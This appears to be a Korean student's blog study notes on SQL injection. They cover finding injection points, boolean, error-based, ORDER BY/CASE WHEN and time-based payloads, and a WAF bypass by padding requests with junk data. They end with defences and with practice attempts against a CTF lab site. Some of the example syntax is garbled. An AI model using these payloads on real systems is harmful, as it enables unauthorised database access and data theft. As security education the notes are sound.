SQL INJECTION POINT와 대응방법 / ORDER BY ERROR / CASE WHEN
SQL INJECTION POINT
- DB에게 SQL 질의문을 사용하는 곳에 모두 사용된다 DB의 DATA를 가져오거나 저장하는 곳
- COOKIE, HTTP 요청 HEADET
- COLUMN
- ORDER BY 절
- ORDER BY 절에서 가장 많이 이용된다.
EX)
-> SQL 구문과 연결된 파라미터 (파라미터는 URL의?뒤부터 나온다 이를 조작할 수 있다.)
-> SQL 구문과 연결된 데이터
-> 입력이 가능한 곳
-> 로그인
-> SQL 구문이 연결된 사용자 입력 칸
SQL INJECTION POINT 찾기
1. SELECT을 프록시로 데이터를 변조 시킬수 있는가
2. 참조건과 거짓조건의 출력이 다른가
3. 셀렉트문 에러조건의 참조건과 거짓조건의 에러유무가 있는가
- BURF SUITE에 REQUEST 값의 링크에 데이터 값이 들어가는지 확인
- BURF SUITE에 헤더와 파라미터를 분석해서 확인!!
- 그냥 입력값과 참의 조건이 들어가는 결과가 같다면 SQL 질의를 사용 할 수 있다
EX)
where user_id like '%__%' and '1'='1'
where user_id like '%nor%' and '1'='1'
where user_id like '%nor%' and ='1%='1%' and '1'='1'
-> where user_id like '%__%' and '1'='1' 일때
-> nor 입력값과 nor%' and '1%'='1 입력값의 결과가 같은 것
- 그 후 참인 조건과 거짓 조건도 비교한다
- 참과 거짓 조건이 같을때는 참과 거짓의 조건값으로 에러가 나는지 아닌지를 이용해서 그 값이 다르면 인젝션한다.
user = aa' and (에러조건!!) and '1'='1
user = aa' and (select 1 union select 2 where (1=1)) and '1'='1 에러남
user = aa' and (select 1 union select 2 where (1=2)) and '1'='1 에러 안남
user = aa' and (select 1 union select 2 where (포맷참거짓)) and '1'='1
-> user = aa' and (에러조건!!) and '1'='1
-> user = aa' and (select 1 union select 2 where (1=1)) and '1'='1 에러남
-> user = aa' and (select 1 union select 2 where (1=2)) and '1'='1 에러 안남
-> 즉 user = aa' and (select 1 union select 2 where (포맷참거짓)) and '1'='1
boardRead.php?boardIdx=65
select where idx= ----- / select where idx = '------'
idx=65 and 1=1
idx=65' and '1'='1
idx=64 + 1
-> boardRead.php?boardIdx=65
-> select where idx= ----- / select where idx = '------'
-> 예상쿼리
-> 65 and 1=1 / 65' and '1'='1 / 64 + 1(문자열로 인식되어서 인젝션 안될 수 있다.)
-> 예상 입력값
-> 입력값과 원래값이 같으면 Injection Point
-> 어떤게 Injection 포인트인지 필터링되는 것이 무엇인지 확인한다
-> 만약 공백이 필터링 되면 주석우회하거나 괄호우회 한다 [65 and 1=1]= [65/**/ and/**/1=1] =[65and(1=1)]
-> and가 필터링되면 And등의 대소문자를 변경해서 입력해보기도 한다
sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)
-> sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)
-> 이름을 보니 정렬이구나!! ORDER BY절이 들어가겠는데~
-> 컴마가 있네 order by title 의 desc/asc-> 자리에 들어가는 곳에 있겠구나
-> 앞에있는 문이 참이면 1을 출력하고 아니면 1/0로 에러를 유발하겠구나
+ 1/0은 ORACLE에서 사용, MYSQLD 에서는 문법 오류가 발생한다.
page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=
-> page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)
=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=
-> waitfor delay 가 있네 time based sqli를 사용하는구나
+TIME BASED SQL INJECTION
- 서버에 sleep을 주는 것으로 참 거짓을 확인한다 서버에 오류날 가능성이 있다
WAF
- WALL APLICATION FIREWALL
- 방화벽
- 페이로드 파라미터에 공격패턴이 들어오면 막아준다
- SQL 차단
SQL INJECTION POINT WAF우회
- 쿼리 입력값전에 많은 JUNK DATA를 입력해서 WAF에 과부하를 넣는다
- WAF는 DDOS를 방지하기위해 부하를줄정도의 많은 데이터는 그냥 넘긴다.
EX)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&s=test' and '1'='1
-> 많은양의아무값&입력할곳=입력값
-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&s=test' and '1'='1
ORDER BY ERROR
select문 order by 인덱스값/컬럼값 union select 인덱스/컬럼값 when where 참값/거짓값
- select문 order by 인덱스값/컬럼값 union select 인덱스/컬럼값 when where 참값/거짓값
- 한 SELECT 문에 여러 ROW값이 출력되면 오류가 발생한다
EX)
(select * from table 1 union select 2 when where(1=1))
-> (select * from table 1 union select 2 when where(1=1))
-> where 문이 참이므로 첫번째 select 1 문과 두번째 select 2문이 동시에 실행되므로 오류가 난다
(select * from table 1 union select 2 when where(1=2))
-> (select * from table 1 union select 2 when where(1=2))
-> where 문이 거짓이므로 두번째 select 2문이 실행자체가 안되고 첫번째 select 1문만 실행되므로 오류가 나지 않는다.
sort = 1 union select 2 when where(1=1)
sort = 1 union select 2 when where(1=2)
-> sort = 1 union select 2 when where(1=1)
-> sort = 1 union select 2 when where(1=2)
-> 이런느낌으로 order by에 사용되는 값에 넣는다.
CASE WHEN
select * from table order by case when 참거짓 then 참일때결과 else 거짓일때결과 end
- case when 참조건 then 참일때결과 else 거짓일때결과 end
- 참일때와 거짓일때의 결과의 조건을 다르게 문자열로 출력한다.
- order by 절에 값을 넣고 싶을때 사용한다.
EX)
case when (1=1) then 1 else 2 end
-> case when (1=1) then 1 else 2 end
-> 참일때 1나옴
-> 거짓일때 2 나옴
sort = case when (1=1) then then username else title end
-> sort = case when (1=1) then then username else title end
-> 참일때는 username으로 정렬
-> 거짓일때는 title로 정렬
CASE WHEN SELECT
case when 참거짓포맷 then 참일때결과 else 에러나는select문 end
- case when 참조건 then 참일때결과 else 에러나는select문 end
- order by 절에 select문을 사용해서 오류를 문자열로 출력하고싶을때 사용한다.
- 결과값에 select 문을 넣는다.
EX)
-> case when (1=2) then 1 else (select 1 union select 2) end
-> 두개의 ROW값이 한줄에 출력 되므로 오류 발생 오류 출력
-> case when (포맷) then select 1 else (select 1 union select 2)
-> sort = case when (포맷) then select 1 else (select 1 union select 2)
-> 포맷값이 참이면 오류출력되지 않고 포맷값이 거짓이면 오류가 출력됨을 이용한다
SQL INJECTION 대응방법
- PREPARED STATEMENT
- WHITE/BLACK LIST FILTERING
PREPARED STATEMENT
select문 '입력값=?'
- select문 '입력값=?'
- select문의 입력값부분에 ?를 넣고 미리 컴파일 시켜놓는다.
- select문은 database에 들어가 컴파일되고 기계어가되고 그 결과를 받는 것
- select문을 미리 컴파일 해두면 select문의 변형이 불가능해 입력값이 모두 문자열로 들어간다.
- 원천적으로 select 문을 모두 막는 방법
- 데이터 처리속도도 빨라진다.
PREPARED STATEMENT 이용하지 못할 때
- select문의 오류 select문의 입력값에 ?가 들어가지 않을경우
- order by 절
- table 이름, column 이름이 입력되는 곳
- 이때는 white/black list filtering을 이용한다
WHITE/BLACK LIST FILTERING
- 단어를 필터링
- WHITE -> 특정 단어만 사용할 수 있게 하는 것
- BLACK -> 특정 단어를 사용할 수 없게 하는 것
EX)
if( sort == 'title') {
}elief sort == 'author')
else
sort = 'title';
}
-> sort 값이 title이라고 정확하게 입력될 때만 sort값이 title이 된다.
SQL INJECTION POINT 찾기 실습
프록시로 값을 변조해서 넣을 때 띄어쓰기는 +로 대체해서 사용한다
http://ctf.segfaulthub.com:7777/findSQLi_1/
1. SELECT문이 데이터를 변조 시킬수 있는가
마이페이지의 아이디넣는 값을 변조 할 수 있다.
COOKIE 값의 user를 변조되어 출력된다.
user=ac
-> ac
-> 여기서 ac는 데이터에 존재하는 값
2. 참조건과 거짓조건이 다른가
user=ac' and '1'='1
pw=1 입력
-> user=ac' and '1'='1 -> aaaa의 비번 1로 변조됨
user=ac' and '1'='2
pw=2 입력
-> user=ac' and '1'='2 -> aaaa의 비번 2로 변조됨 왜임?
참조건과 거짓조건의 결과가 같다
거짓일때는 데이터가 변조되면 안되는데..
이럴때는 3번으로
3. 참조건과 거짓조건의 에러유무가 다른가
-> user = ac' and (에러조건!!) and '1'='1
-> user = ac' and (select 1 union select 2 where(1=1)) and '1'='1 에러 안남
-> user = ac' and (select 1 union select 2 where(1=2)) and '1'='2 에러 안남
안되네..
http://ctf.segfaulthub.com:7777/findSQLi_2/
1. SELECT문이 데이터를 변조 시킬수 있는가
GET /findSQLi_2/notice_read.php?id=254'+and+'1'='1&view=1 HTTP/1.1
GET /findSQLi_2/notice_read.php?id=254' and '1'='1&view=1 HTTP/1.1
option_val=username&board_result=&board_search=%F0%9F%94%8D&date_from=2023-12-20'+and+'1'='1&date_to=
date_from 값을 변조시킨
http://ctf.segfaulthub.com:7777/findSQLi_3/
1. SELECT문이 데이터를 변조 시킬수 있는가
a1
a
id=a1'+and+'1'='1&info=&pw=b
id=a1'+and+'1'='2&info=&pw=b
-------------------------
+ sleep은 실무에서는 잘 안쓴다고 한다. 왜일까?
=============
'개념정리' 카테고리의 다른 글
10주차 XSS COOKIE / DOM BASED XSS / XSS 대응방법 (0) | 2023.12.28 |
---|---|
9주차 XSS /STORED XSS / CROSSED XSS /보고서 (1) | 2023.12.21 |
7주차 ERROR BASED SQL / BLIND SQL INJECTION / EXTRACTVALU / CONCAT / SUBSTR/ ASCII CODE (1) | 2023.12.11 |
6주차 UNION SQL INJECTION/ORDER BY/LIMIT/LIKE (1) | 2023.11.30 |
5주차 SQL INJECTION 쿠키조작/인증우회 (1) | 2023.11.29 |